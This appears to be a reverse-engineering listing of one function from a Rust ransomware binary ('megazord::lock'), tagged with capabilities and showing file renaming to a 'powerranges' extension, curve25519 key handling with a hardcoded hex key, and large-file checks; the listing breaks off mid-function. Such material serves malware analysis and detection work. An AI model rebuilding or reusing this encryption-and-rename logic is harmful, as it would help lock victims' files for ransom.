Function at 0x140001db8
Capabilities:
Encode data using base64
Encrypt data using curve25519
Generate random numbers via rtlgenrandom
Move file

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x788
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x6f0], xmm12
movaps xmmword [rbp + 0x6e0], xmm11
movaps xmmword [rbp + 0x6d0], xmm10
movaps xmmword [rbp + 0x6c0], xmm9
movaps xmmword [rbp + 0x6b0], xmm8
movaps xmmword [rbp + 0x6a0], xmm7
movaps xmmword [rbp + 0x690], xmm6
mov qword [rbp + 0x688], 0xfffffffffffffffe
mov rsi, rcx
mov qword [rbp + 0x2d8], rcx
mov qword [rbp + 0x2f0], rdx
mov qword [rbp + 0x2e0], rdx
xorps xmm6, xmm6
movss xmm7, dword [0x14005e4d0]
movss xmm8, dword [0x14005e4d4]
movss xmm9, dword [0x14005e4d8]
xorps xmm10, xmm10
movss xmm11, dword [0x14005e4dc]
lea r13, [rbp + 0x3f0]
lea r14, str.megazord_srclock.rsFilesize_for
lea r15, [0x14006bc78]
lea rbx, [rbp + 0x370]
add rsi, 0x10
mov rcx, r13
mov rdx, rsi
call fcn.1400191fb
mov rcx, r13
mov rdx, r14
call fcn.140004ea9
mov rdi, qword [rax + 0x28]
mov rcx, rax
call fcn.140004df6
test rdi, rdi
je 0x140001f41
mov rcx, r13
mov rdx, rsi
call fcn.1400191fb
mov rcx, r13
lea rdx, str.megazord_srclock.rsFilesize_for
call fcn.140004ea9
mov rcx, qword [rax + 0x28]
test rcx, rcx
je 0x140001f34
mov r8, qword [rax + 0x20]
lea r9, [r8 + 1]
mov r10, qword [rax + 0x10]
mov r11, qword [rax + 0x18]
cmp r9, r11
mov r9d, 0
cmovb r11, r9
neg r11
lea r9, [r8 + r11]
inc r9
mov qword [rax + 0x20], r9
dec rcx
mov qword [rax + 0x28], rcx
shl r8, 5
movups xmm0, xmmword [r10 + r8]
movaps xmmword [rbp + 0x5c0], xmm0
mov rcx, qword [r10 + r8 + 0x10]
mov qword [rbp + 0x5d0], rcx
mov cl, byte [r10 + r8 + 0x18]
mov r9d, dword [r10 + r8 + 0x19]
mov dword [rbp + 0x520], r9d
mov r8d, dword [r10 + r8 + 0x1c]
mov dword [rbp + 0x523], r8d
cmp cl, 2
jne 0x140001fa1
mov rcx, rax
call fcn.140004df6
jmp 0x140001e76
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword [0x140083ae8]
cmp rax, 5
jb 0x140001e76
lea rax, str.continue
mov qword [rbp + 0x3f0], rax
mov qword [rbp + 0x3f8], 1
mov qword [rbp + 0x400], r15
movups xmmword [rbp + 0x408], xmm6
mov rcx, r13
push 5
pop rdx
lea r8, str.megazord::lock
mov r9d, 0xa3
call fcn.14000db08
jmp 0x140001e76
mov r8, qword [rbp + 0x5d0]
mov qword [rbp + 0x350], r8
movaps xmm0, xmmword [rbp + 0x5c0]
movaps xmmword [rbp + 0x340], xmm0
mov byte [rbp + 0x358], cl
mov ecx, dword [rbp + 0x520]
mov r8d, dword [rbp + 0x523]
lea r9, [rbp + 0x359]
mov dword [r9 + 3], r8d
mov dword [r9], ecx
mov rcx, rax
call fcn.140004df6
lea rcx, [rbp + 0x278]
lea rdx, str.EMPTY
push 5
pop r8
call fcn.14004a0b0
mov rdx, qword [rbp + 0x340]
mov r8, qword [rbp + 0x350]
mov rcx, rbx
call fcn.1400397d0
mov rdx, qword [rbp + 0x278]
mov r8, qword [rbp + 0x288]
lea rcx, [rbp + 0x520]
mov qword [rbp + 0x680], rdx
call fcn.1400397d0
mov rdi, qword [rbp + 0x378]
mov r14, qword [rbp + 0x528]
mov bl, byte [rbp + 0x3a8]
mov r15b, byte [rbp + 0x558]
mov sil, byte [rbp + 0x3a9]
mov r10b, byte [rbp + 0x559]
mov r12b, byte [rbp + 0x380]
cmp rdi, r14
jne 0x1400020be
cmp bl, r15b
jne 0x1400020be
cmp sil, 2
jne 0x1400020be
cmp r10b, 2
jne 0x1400020be
cmp r12b, 3
setae al
cmp byte [rbp + 0x530], 3
setb cl
xor cl, al
je 0x1400020be
mov rcx, qword [rbp + 0x370]
mov r8, qword [rbp + 0x520]
mov rdx, rdi
mov r9, rdi
mov byte [rbp + 0x678], r10b
call fcn.14004da23
mov r10b, byte [rbp + 0x678]
test al, al
jne 0x140004703
cmp r12b, 6
je 0x1400020eb
lea rcx, [rbp + 0x381]
mov rax, qword [rcx + 0x1f]
mov qword [rbp + 0x40f], rax
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rbp + 0x400], xmm1
movaps xmmword [rbp + 0x3f0], xmm0
mov rax, qword [rbp + 0x370]
mov cl, byte [rbp + 0x3aa]
mov rdx, qword [rbp + 0x40f]
lea r8, [rbp + 0x5d1]
mov qword [r8 + 0x1f], rdx
movaps xmm0, xmmword [rbp + 0x3f0]
movaps xmm1, xmmword [rbp + 0x400]
movups xmmword [r8 + 0x10], xmm1
movups xmmword [r8], xmm0
mov qword [rbp + 0x5c0], rax
mov qword [rbp + 0x5c8], rdi
mov byte [rbp + 0x5d0], r12b
mov byte [rbp + 0x5f8], bl
mov byte [rbp + 0x5f9], sil
mov byte [rbp + 0x5fa], cl
mov al, byte [rbp + 0x530]
cmp al, 6
je 0x14000217a
lea rdx, [rbp + 0x531]
mov rcx, qword [rdx + 0x1f]
mov qword [rbp + 0x31f], rcx
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movaps xmmword [rbp + 0x310], xmm1
movaps xmmword [rbp + 0x300], xmm0
mov rcx, qword [rbp + 0x520]
mov dl, byte [rbp + 0x55a]
mov r8, qword [rbp + 0x31f]
lea r9, [rbp + 0x401]
mov qword [r9 + 0x1f], r8
movaps xmm0, xmmword [rbp + 0x300]
movaps xmm1, xmmword [rbp + 0x310]
movups xmmword [r9 + 0x10], xmm1
movups xmmword [r9], xmm0
mov qword [rbp + 0x3f0], rcx
mov qword [rbp + 0x3f8], r14
mov byte [rbp + 0x400], al
mov byte [rbp + 0x428], r15b
mov byte [rbp + 0x429], r10b
mov byte [rbp + 0x42a], dl
lea rcx, [rbp + 0x5c0]
mov rdx, r13
call fcn.14001926c
mov edi, eax
mov rdx, qword [rbp + 0x280]
mov rcx, qword [rbp + 0x680]
call fcn.14004c696
test dil, dil
lea r12, [0x14006bc78]
lea rdi, [rbp + 0x370]
jne 0x14000471d
mov rax, qword [0x140083ae8]
cmp rax, 4
lea rbx, [rbp + 0x5c0]
lea r14, str.megazord_srclock.rsFilesize_for
jbe 0x1400022fa
mov rcx, rbx
lea rdx, [rbp + 0x340]
call fcn.140004ef1
call fcn.14002da30
mov rsi, rax
mov rax, qword [rax + 0x10]
mov qword [rbp + 0x370], rax
mov qword [rbp + 0x520], rbx
lea rax, [0x140031f30]
mov qword [rbp + 0x528], rax
lea rax, str.Processing_file___thread_id:
mov qword [rbp + 0x3f0], rax
push 2
pop rcx
mov qword [rbp + 0x3f8], rcx
and qword [rbp + 0x410], 0
mov qword [rbp + 0x530], rdi
lea rax, [0x14002d9b0]
mov qword [rbp + 0x538], rax
lea rax, [rbp + 0x520]
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x408], rcx
mov rcx, r13
push 5
pop rdx
lea r8, str.megazord::lock
mov r9d, 0x8f
call fcn.14000db08
lock dec qword [rsi]
jne 0x1400022d9
mov rcx, rsi
call fcn.14004aeb5
mov rcx, qword [rbp + 0x5c0]
mov rdx, qword [rbp + 0x5c8]
call fcn.14004c696
mov rax, qword [rbp + 0x2e0]
mov qword [rbp + 0x2f0], rax
lea rcx, [rbp + 0x4f8]
lea rdx, [rbp + 0x340]
call fcn.140004ef1
mov rax, qword [rbp + 0x2f0]
mov qword [rbp + 0x2e8], rax
lea rax, str.powerranges
mov qword [rbp + 0x240], rax
mov qword [rbp + 0x248], 0xb
mov rcx, qword [rbp + 0x4f8]
mov rdx, qword [rbp + 0x508]
call fcn.140039570
test rax, rax
je 0x140002356
mov rcx, rax
call fcn.14004a020
jmp 0x140002358
xor eax, eax
lea r15, [0x14006bc78]
test rax, rax
mov rcx, rax
cmove rcx, r15
cmove rdx, rax
mov qword [rbp + 0x230], rcx
mov qword [rbp + 0x238], rdx
mov rdx, qword [rbp + 0x4f8]
mov r8, qword [rbp + 0x508]
mov rcx, r13
call fcn.1400365f0
cmp dword [rbp + 0x3f0], 2
jne 0x1400023b5
mov rax, qword [rbp + 0x3f8]
mov qword [rbp + 0x5c8], rax
mov qword [rbp + 0x5c0], 2
jmp 0x1400023d2
push 9
pop rcx
mov rdi, rbx
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
lea rdi, [rbp + 0x370]
cmp qword [rbp + 0x5c0], 2
jne 0x1400023e6
lea rcx, [rbp + 0x5c8]
call fcn.140011681
xor r12d, r12d
jmp 0x140004301
mov rdx, qword [rbp + 0x4f8]
mov r8, qword [rbp + 0x508]
and qword [rsp + 0x20], 0
lea r12, [rbp + 0x520]
mov rcx, r12
mov r9, r15
call fcn.1400396f0
mov rsi, qword [rbp + 0x520]
mov rcx, rdi
mov rdi, qword [rbp + 0x530]
lea rax, [rbp + 0x230]
mov qword [rbp + 0x5c0], rax
lea r8, [0x14004da11]
mov qword [rbp + 0x5c8], r8
lea rax, [0x1400648f0]
mov qword [rbp + 0x3f0], rax
push 2
pop rax
mov qword [rbp + 0x3f8], rax
and qword [rbp + 0x410], 0
lea rdx, [rbp + 0x240]
mov qword [rbp + 0x5d0], rdx
mov qword [rbp + 0x5d8], r8
mov qword [rbp + 0x400], rbx
mov qword [rbp + 0x408], rax
mov rdx, r13
call fcn.140005cc0
mov r14, qword [rbp + 0x370]
mov rax, qword [rbp + 0x380]
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, rsi
mov r8, rdi
mov r9, r14
call fcn.1400396f0
mov rdx, qword [rbp + 0x378]
mov rcx, r14
call fcn.14004c696
mov rdx, qword [rbp + 0x528]
mov rcx, rsi
call fcn.14004c696
mov rdx, qword [rbp + 0x4f8]
mov r8, qword [rbp + 0x508]
mov rsi, qword [rbp + 0x3f0]
mov rax, qword [rbp + 0x400]
mov qword [rsp + 0x20], rax
lea rdi, [rbp + 0x1d0]
mov rcx, rdi
mov r9, rsi
call fcn.1400395f0
mov rdx, qword [rbp + 0x3f8]
mov rcx, rsi
call fcn.14004c696
mov rcx, rbx
lea rdx, [rbp + 0x4f8]
call fcn.140004ef1
mov rcx, r13
mov rdx, rdi
call fcn.140004ef1
mov rsi, qword [rbp + 0x5c0]
mov r8, qword [rbp + 0x5d0]
mov rax, qword [rbp + 0x3f0]
mov qword [rbp + 0x680], rax
mov r14, qword [rbp + 0x400]
mov rcx, r12
mov rdx, rsi
call fcn.14002d220
mov rax, qword [rbp + 0x520]
mov r12, qword [rbp + 0x528]
test rax, rax
je 0x14000268d
mov rcx, qword [rbp + 0x530]
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x528], r12
mov qword [rbp + 0x530], rcx
lea rcx, [rbp + 0x370]
lea rdx, [rbp + 0x520]
mov r8b, 1
call fcn.140034520
mov rdi, qword [rbp + 0x370]
mov rcx, qword [rbp + 0x378]
test rdi, rdi
je 0x14000268a
mov rax, qword [rbp + 0x380]
mov qword [rbp + 0x300], rdi
mov r12, rcx
mov qword [rbp + 0x308], rcx
mov qword [rbp + 0x310], rax
lea rcx, [rbp + 0x520]
mov rdx, qword [rbp + 0x680]
mov r8, r14
call fcn.14002d220
mov rax, qword [rbp + 0x520]
mov rdx, qword [rbp + 0x528]
test rax, rax
je 0x140002696
mov rcx, qword [rbp + 0x530]
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x528], rdx
mov qword [rbp + 0x530], rcx
lea rcx, [rbp + 0x370]
lea rdx, [rbp + 0x520]
mov r8b, 1
call fcn.140034520
mov r14, qword [rbp + 0x370]
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x678], rax
test r14, r14
je 0x14000269d
mov rcx, rdi
mov rdx, r14
push 1
pop r8
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x1400032d2
cmp qword [rbp + 0x678], 0
je 0x140002675
mov rcx, r14
push 2
pop rdx
call fcn.140005400
test r12, r12
je 0x140002685
mov rcx, rdi
push 2
pop rdx
call fcn.140005400
xor r12d, r12d
jmp 0x14000268d
mov r12, rcx
lea r14, str.megazord_srclock.rsFilesize_for
jmp 0x1400026bb
mov qword [rbp + 0x678], rdx
test r12, r12
lea r14, str.megazord_srclock.rsFilesize_for
je 0x1400026b4
mov rcx, rdi
push 2
pop rdx
call fcn.140005400
mov r12, qword [rbp + 0x678]
lea rdi, [rbp + 0x370]
mov rdx, qword [rbp + 0x3f8]
mov rcx, qword [rbp + 0x680]
call fcn.14004c696
mov rdx, qword [rbp + 0x5c8]
mov rcx, rsi
call fcn.14004c696
test r12, r12
jne 0x1400042ee
lea rax, [rbp + 0x401]
and word [rax + 0x13], 0
and dword [rax + 0xf], 0
and dword [rbp + 0x3f0], 0
movups xmmword [rax - 9], xmm6
mov qword [rbp + 0x408], 7
mov word [rbp + 0x410], 0x101
mov rcx, rbx
lea rdx, [rbp + 0x1d0]
call fcn.140004ef1
mov rsi, qword [rbp + 0x5c0]
mov rdx, qword [rbp + 0x5d0]
mov rcx, rsi
mov r8, r13
call fcn.140033c00
mov r12, rdx
test rax, rax
je 0x140002760
mov rdx, qword [rbp + 0x5c8]
mov rcx, rsi
call fcn.14004c696
jmp 0x1400042ee
mov rdx, qword [rbp + 0x5c8]
mov rcx, rsi
call fcn.14004c696
mov rcx, r13
mov rdx, r12
call fcn.140033e10
cmp dword [rbp + 0x3f0], 2
jne 0x14000278f
mov rsi, qword [rbp + 0x3f8]
jmp 0x1400042e2
mov rax, qword [rbp + 0x428]
mov qword [rbp + 0x668], rax
mov rax, qword [0x140083ae8]
cmp rax, 4
jbe 0x14000284c
mov rcx, rbx
lea rdx, [rbp + 0x4f8]
call fcn.140004ef1
mov qword [rbp + 0x520], rbx
lea rax, [0x140031f30]
mov qword [rbp + 0x528], rax
lea rax, [0x140064938]
mov qword [rbp + 0x3f0], rax
push 2
pop rax
mov qword [rbp + 0x3f8], rax
and qword [rbp + 0x410], 0
lea rcx, [rbp + 0x668]
mov qword [rbp + 0x530], rcx
lea rcx, [0x140017702]
mov qword [rbp + 0x538], rcx
lea rcx, [rbp + 0x520]
mov qword [rbp + 0x400], rcx
mov qword [rbp + 0x408], rax
mov rcx, r13
push 5
pop rdx
lea r8, str.megazord::lock
push 0x2e
pop r9
call fcn.14000db08
mov rcx, qword [rbp + 0x5c0]
mov rdx, qword [rbp + 0x5c8]
call fcn.14004c696
push 0x40
pop rcx
call fcn.14004a971
mov rdi, rax
mov rsi, rdx
movups xmm0, xmmword [str.e3ac81699d1d45789ed05db6fe0b91c838b29471d0572b95c3f72f3ae7edf039Wrong_secret_key_format._A_hex_string_of_64_chars_is_expected]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x1400649a8]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x1400649b8]
movups xmmword [rax + 0x20], xmm0
movups xmm0, xmmword [0x1400649c8]
movups xmmword [rax + 0x30], xmm0
movaps xmmword [rbp + 0x400], xmm6
movaps xmmword [rbp + 0x3f0], xmm6
mov qword [rbp + 0x520], rax
add rax, 0x40
mov qword [rbp + 0x528], rax
mov dword [rbp + 0x530], 0x110001
xor ebx, ebx
cmp rbx, 0x20
je 0x140002919
lea rcx, [rbp + 0x520]
call fcn.14004dccf
cmp eax, 0x110000
je 0x1400047cc
mov ecx, eax
call fcn.14004dd63
test eax, eax
je 0x1400047cc
mov r14d, edx
lea rcx, [rbp + 0x520]
call fcn.14004dccf
cmp eax, 0x110000
je 0x1400047cc
mov ecx, eax
call fcn.14004dd63
test eax, eax
je 0x1400047cc
shl r14d, 4
or edx, r14d
mov byte [rbp + rbx + 0x3f0], dl
inc rbx
jmp 0x1400028b1
movaps xmm0, xmmword [rbp + 0x3f0]
movaps xmm1, xmmword [rbp + 0x400]
movaps xmmword [rbp + 0x5d0], xmm1
movaps xmmword [rbp + 0x5c0], xmm0
mov rcx, rdi
mov rdx, rsi
call fcn.14004c696
movaps xmm0, xmmword [rbp + 0x5c0]
movaps xmm1, xmmword [rbp + 0x5d0]
movaps xmmword [rbp + 0x260], xmm1
movaps xmmword [rbp + 0x250], xmm0
movaps xmmword [rbp + 0x5d0], xmm6
movaps xmmword [rbp + 0x5c0], xmm6
lea rcx, [rbp + 0x5c0]
push 0x20
pop rsi
lea rbx, [0x14006c040]
test rsi, rsi
je 0x1400029aa
mov eax, 0xffffffff
cmp rsi, rax
mov edx, 0xffffffff
cmovb rdx, rsi
sub rsi, rdx
lea rdi, [rcx + rdx]
call qword [sym.imp.ADVAPI32.dll_SystemFunction036]
mov rcx, rdi
test al, al
jne 0x14000297b
jmp 0x1400047ef
mov al, byte [rbp + 0x5c0]
lea rcx, [rbp + 0x5d1]
movups xmm0, xmmword [rcx - 0x10]
movups xmm1, xmmword [rcx - 2]
lea rcx, [rbp + 0x211]
movups xmmword [rcx + 0xe], xmm1
movups xmmword [rcx], xmm0
mov cl, byte [rbp + 0x5df]
and al, 0xf8
and cl, 0x3f
or cl, 0x40
mov byte [rbp + 0x210], al
mov byte [rbp + 0x22f], cl
movaps xmmword [rbp + 0x330], xmm6
movaps xmmword [rbp + 0x320], xmm6
movaps xmmword [rbp + 0x310], xmm6
movaps xmmword [rbp + 0x300], xmm6
xor esi, esi
cmp rsi, 0x20
je 0x140002a56
lea rdi, [rsi + 1]
lea r14, [rbp + 0x210]
mov rcx, r14
mov rdx, rsi
lea r8, str.C:Users_root.cargo_registry_srcindex.crates.io_6f17d22bba15001fcurve25519_dalek_3.2.1_src_scalar.rs
call fcn.14000d5fd
mov al, byte [rax]
and al, 0xf
mov byte [rbp + rsi*2 + 0x300], al
mov rcx, r14
mov rdx, rsi
lea r8, str.C:Users_root.cargo_registry_srcindex.crates.io_6f17d22bba15001fcurve25519_dalek_3.2.1_src_scalar.rs
call fcn.14000d5fd
mov al, byte [rax]
shr al, 4
mov byte [rbp + rsi*2 + 0x301], al
mov rsi, rdi
jmp 0x140002a05
push 1
pop rax
cmp rax, 0x40
je 0x140002a89
mov cl, byte [rbp + rax + 0x2ff]
lea edx, [rcx + 8]
mov r8d, edx
and r8b, 0xf0
sub cl, r8b
mov byte [rbp + rax + 0x2ff], cl
sar dl, 4
add byte [rbp + rax + 0x300], dl
inc rax
jmp 0x140002a59
movaps xmmword [rbp + 0x530], xmm6
movaps xmmword [rbp + 0x520], xmm6
and qword [rbp + 0x540], 0
push 1
pop rcx
mov qword [rbp + 0x548], rcx
lea rax, [rbp + 0x531]
movups xmmword [rax + 0x2f], xmm6
movups xmmword [rax + 0x1f], xmm6
mov qword [rbp + 0x570], rcx
movups xmmword [rax + 0x77], xmm6
movups xmmword [rax + 0x67], xmm6
movups xmmword [rax + 0x57], xmm6
movups xmmword [rax + 0x47], xmm6
and qword [rax + 0x87], 0
xor esi, esi
cmp rsi, 0x3f
ja 0x140002b31
test sil, 1
je 0x140002b2c
mov rax, rsi
shr rax, 1
imul rdx, rax, 0x3c0
add rdx, rbx
mov r8b, byte [rbp + rsi + 0x300]
lea rdi, [rbp + 0x5c0]
mov rcx, rdi
call fcn.14000d45b
mov rcx, r13
lea r14, [rbp + 0x520]
mov rdx, r14
mov r8, rdi
call fcn.14000c6f1
mov rcx, r14
mov rdx, r13
call fcn.14000d666
inc rsi
jmp 0x140002ad9
lea rdx, [rbp + 0x548]
mov rax, qword [rdx + 0x20]
lea rcx, [rbp + 0x381]
mov qword [rcx + 0x37], rax
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x27], xmm1
movups xmmword [rcx + 0x17], xmm0
lea rdx, [rbp + 0x570]
mov rax, qword [rdx + 0x20]
mov qword [rcx + 0x5f], rax
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx + 0x4f], xmm1
movups xmmword [rcx + 0x3f], xmm0
mov rax, qword [rbp + 0x540]
mov qword [rbp + 0x390], rax
movaps xmm0, xmmword [rbp + 0x520]
movaps xmm1, xmmword [rbp + 0x530]
movaps xmmword [rbp + 0x380], xmm1
movaps xmmword [rbp + 0x370], xmm0
push 3
pop rbx
sub ebx, 1
jb 0x140002c11
lea rsi, [rbp + 0x5c0]
mov rcx, rsi
lea r14, [rbp + 0x370]
mov rdx, r14
call fcn.14000d6c6
mov rcx, r13
mov rdx, rsi
lea rsi, [rbp + 0x638]
mov r8, rsi
call fcn.14000ca16
lea rcx, [rbp + 0x418]
lea rdx, [rbp + 0x5e8]
lea rdi, [rbp + 0x610]
mov r8, rdi
call fcn.14000ca16
lea rcx, [rbp + 0x440]
mov rdx, rdi
mov r8, rsi
call fcn.14000ca16
push 0xf
pop rcx
mov rdi, r14
mov rsi, r13
rep movsq qword [rdi], qword [rsi]
jmp 0x140002ba1
mov rcx, r13
lea rdi, [rbp + 0x370]
mov rdx, rdi
call fcn.14000d6c6
lea rcx, [rbp + 0x520]
mov rdx, r13
call fcn.14000d666
xor esi, esi
lea r14, [rbp + 0x5c0]
push 0x40
pop rcx
sub rcx, rsi
mov eax, 0
cmovae rax, rcx
mov ecx, esi
and ecx, 1
dec rsi
cmp rax, rcx
jbe 0x140002cae
lea edx, [rsi + 2]
inc rsi
test dl, 1
je 0x140002c52
mov rax, rsi
shr rax, 1
imul rdx, rax, 0x3c0
lea rax, [0x14006c040]
add rdx, rax
mov r8b, byte [rbp + rsi + 0x300]
mov rcx, r14
call fcn.14000d45b
mov rcx, r13
lea rbx, [rbp + 0x520]
mov rdx, rbx
mov r8, r14
call fcn.14000c6f1
mov rcx, rbx
mov rdx, r13
call fcn.14000d666
inc rsi
jmp 0x140002c3b
lea r14, [rbp + 0x300]
mov rcx, r14
mov rbx, rdi
lea rdi, [rbp + 0x570]
mov rdx, rdi
lea rsi, [rbp + 0x548]
mov r8, rsi
call fcn.14000d2d1
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.14000d2fd
mov rcx, r13
mov rdx, rbx
call fcn.14000cddb
lea rsi, [rbp + 0x5c0]
mov rcx, rsi
mov rdx, r14
mov r8, r13
call fcn.14000ca16
lea rcx, [rbp + 0x140]
mov rdx, rsi
call fcn.14000c7e7
movups xmm0, xmmword [rbp + 0x210]
movups xmm1, xmmword [rbp + 0x220]
movaps xmmword [rbp + 0x190], xmm1
movaps xmmword [rbp + 0x180], xmm0
movaps xmmword [rbp + 0x170], xmm1
movaps xmmword [rbp + 0x160], xmm0
lea rcx, [rbp + 0x250]
call fcn.14000d423
movabs rbx, 0x7ffffffffffff
and rax, rbx
mov qword [rbp + 0x680], rax
lea rcx, [rbp + 0x256]
call fcn.14000d423
mov rdi, rax
shr rdi, 3
and rdi, rbx
lea rcx, [rbp + 0x25c]
call fcn.14000d423
mov r14, rax
shr r14, 6
and r14, rbx
lea rcx, [rbp + 0x263]
call fcn.14000d423
mov rsi, rax
shr rsi, 1
and rsi, rbx
lea rcx, [rbp + 0x268]
call fcn.14000d423
shr rax, 0xc
and rax, rbx
mov rcx, qword [rbp + 0x680]
mov qword [rbp + 0x2b0], rcx
mov qword [rbp + 0x2b8], rdi
mov qword [rbp + 0x2c0], r14
mov qword [rbp + 0x2c8], rsi
mov qword [rbp + 0x2d0], rax
push 1
pop r8
mov qword [rbp + 0x520], r8
lea rax, [rbp + 0x531]
movups xmmword [rax + 0x27], xmm6
movups xmmword [rax + 0x17], xmm6
movups xmmword [rax + 7], xmm6
movups xmmword [rax - 9], xmm6
and qword [rax + 0x37], 0
mov rax, qword [rbp + 0x2d0]
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x2b0]
mov rcx, qword [rbp + 0x2b8]
mov rdx, qword [rbp + 0x2c0]
mov qword [rbp + 0x5d0], rdx
mov rdx, qword [rbp + 0x2c8]
mov qword [rbp + 0x5d8], rdx
mov qword [rbp + 0x5c0], rax
mov qword [rbp + 0x5c8], rcx
mov qword [rbp + 0x5e8], r8
lea rax, [rbp + 0x5d1]
movups xmmword [rax + 0x2f], xmm6
movups xmmword [rax + 0x1f], xmm6
mov r8d, 0x100
mov rcx, r13
xor edx, edx
call fcn.14004ee60
xor eax, eax
lea r14, str.megazord_srclock.rsFilesize_for
cmp rax, 0x100
je 0x140002ea1
mov rcx, rax
shr rcx, 3
mov edx, eax
and edx, 7
movzx ecx, byte [rbp + rcx + 0x160]
bt ecx, edx
setb byte [rbp + rax + 0x3f0]
inc rax
jmp 0x140002e75
mov qword [rbp + 0x678], r12
mov eax, 0xff
mov esi, 0xff
lea rbx, [rbp + 0x5c0]
sub rsi, 1
jb 0x140003080
mov cl, byte [rbp + rax + 0x3ef]
xor cl, byte [rbp + rax + 0x3f0]
call fcn.14004a474
lea rdi, [rbp + 0x520]
mov rcx, rdi
mov rdx, rbx
mov r8d, eax
call fcn.14000d7e3
mov r12, rbx
lea rbx, [rbp + 0xa0]
mov rcx, rbx
mov rdx, rdi
lea r14, [rbp + 0x548]
mov r8, r14
call fcn.14000d2d1
lea r15, [rbp + 0x78]
mov rcx, r15
mov rdx, rdi
mov r8, r14
call fcn.14000d2fd
lea rcx, [rbp + 0x118]
mov rdi, r12
mov rdx, r12
lea r14, [rbp + 0x5e8]
mov r8, r14
call fcn.14000d2d1
lea r12, [rbp + 0x50]
mov rcx, r12
mov rdx, rdi
mov r8, r14
call fcn.14000d2fd
lea rdi, [rbp + 0xf0]
mov rcx, rdi
mov rdx, rbx
call fcn.14000d258
lea r14, [rbp + 0x28]
mov rcx, r14
mov rdx, r15
call fcn.14000d258
lea rcx, [rbp + 0xc8]
mov rdx, rdi
mov r8, r14
call fcn.14000d2fd
mov rdi, rbp
mov rcx, rdi
mov rdx, rbx
mov r8, r12
call fcn.14000ca16
lea r12, [rbp - 0x28]
mov rcx, r12
mov rdx, r15
lea r8, [rbp + 0x118]
call fcn.14000ca16
lea r15, [rbp - 0x50]
mov rcx, r15
mov rdx, rdi
mov r8, r12
call fcn.14000d2d1
lea rbx, [rbp + 0x1a8]
mov rcx, rbx
mov rdx, rdi
mov r8, r12
lea r12, [rbp + 0x520]
call fcn.14000d2fd
lea rcx, [rbp + 0x5c0]
mov rdx, r15
call fcn.14000d258
lea rcx, [rbp + 0x278]
mov rdx, rbx
call fcn.14000d258
lea rbx, [rbp + 0x300]
mov rcx, rbx
lea rdx, [0x140063c60]
lea r15, [rbp + 0xc8]
mov r8, r15
call fcn.14000ca16
mov rcx, r12
lea rdx, [rbp + 0xf0]
mov r8, r14
call fcn.14000ca16
lea rdi, [rbp + 0x370]
mov rcx, rdi
mov rdx, rbx
mov r8, r14
call fcn.14000d2d1
lea rcx, [rbp + 0x548]
mov rdx, r15
mov r8, rdi
call fcn.14000ca16
lea rcx, [rbp + 0x5e8]
lea r14, str.megazord_srclock.rsFilesize_for
lea rdx, [rbp + 0x2b0]
lea r8, [rbp + 0x278]
lea rbx, [rbp + 0x5c0]
lea r15, [0x14006bc78]
call fcn.14000ca16
mov rax, rsi
jmp 0x140002eb9
mov cl, byte [rbp + 0x3f0]
call fcn.14004a474
lea r12, [rbp + 0x520]
mov rcx, r12
mov rdx, rbx
mov r8d, eax
call fcn.14000d7e3
lea rdi, [rbp + 0x370]
mov rcx, rdi
lea rdx, [rbp + 0x548]
call fcn.14000cddb
lea rsi, [rbp + 0x300]
mov rcx, rsi
mov rdx, r12
mov r8, rdi
call fcn.14000ca16
lea rcx, [rbp + 0x1f0]
mov rdx, rsi
call fcn.14000c7e7
lea rcx, [rbp + 0x180]
call fcn.14000d449
push 0xf
pop rcx
call fcn.14004a971
mov rsi, rdx
mov rdx, qword [rbp + 0x1f0]
mov rcx, qword [rbp + 0x1f7]
mov qword [rax], rdx
mov qword [rbp + 0x360], rax
mov qword [rax + 7], rcx
push 0x10
pop rcx
call fcn.14004a971
mov rcx, rax
mov rdi, rdx
lea rax, [rbp + 0x200]
movups xmm0, xmmword [rax]
mov qword [rbp + 0x368], rcx
movups xmmword [rcx], xmm0
cmp qword [rbp + 0x668], 0x9600000
mov rax, qword [0x140083ae8]
mov qword [rbp + 0x2a0], rsi
mov qword [rbp + 0x2a8], rdx
jbe 0x140003308
cmp rax, 5
mov r12, qword [rbp + 0x678]
jb 0x1400031ed
mov rcx, rbx
lea rdx, [rbp + 0x4f8]
call fcn.140004ef1
lea rax, [0x140064a48]
mov qword [rbp + 0x3f0], rax
mov qword [rbp + 0x3f8], 2
and qword [rbp + 0x410], 0
mov qword [rbp + 0x520], rbx
lea rax, [0x140031f30]
mov qword [rbp + 0x528], rax
lea rax, [rbp + 0x520]
mov qword [rbp + 0x400], rax
mov qword [rbp + 0x408], 1
mov rcx, r13
push 5
pop rdx
lea r8, str.megazord::lock
push 0x3f
pop r9
call fcn.14000db08
mov rcx, qword [rbp + 0x5c0]
mov rdx, qword [rbp + 0x5c8]
call fcn.14004c696
mov rax, qword [0x140083bc8]
test rax, rax
jne 0x14000320f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14000488c
mov qword [0x140083bc8], rax
mov r8d, 0x6400000
mov rcx, rax
push 8
pop rdx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14000488c
mov qword [rbp + 0x680], rax
mov qword [rbp + 0x370], rax
mov eax, 0x6400000
mov qword [rbp + 0x378], rax
mov qword [rbp + 0x380], rax
mov rax, qword [0x140083ae8]
cmp rax, 4
jb 0x1400032b8
lea rax, [0x14006bc78]
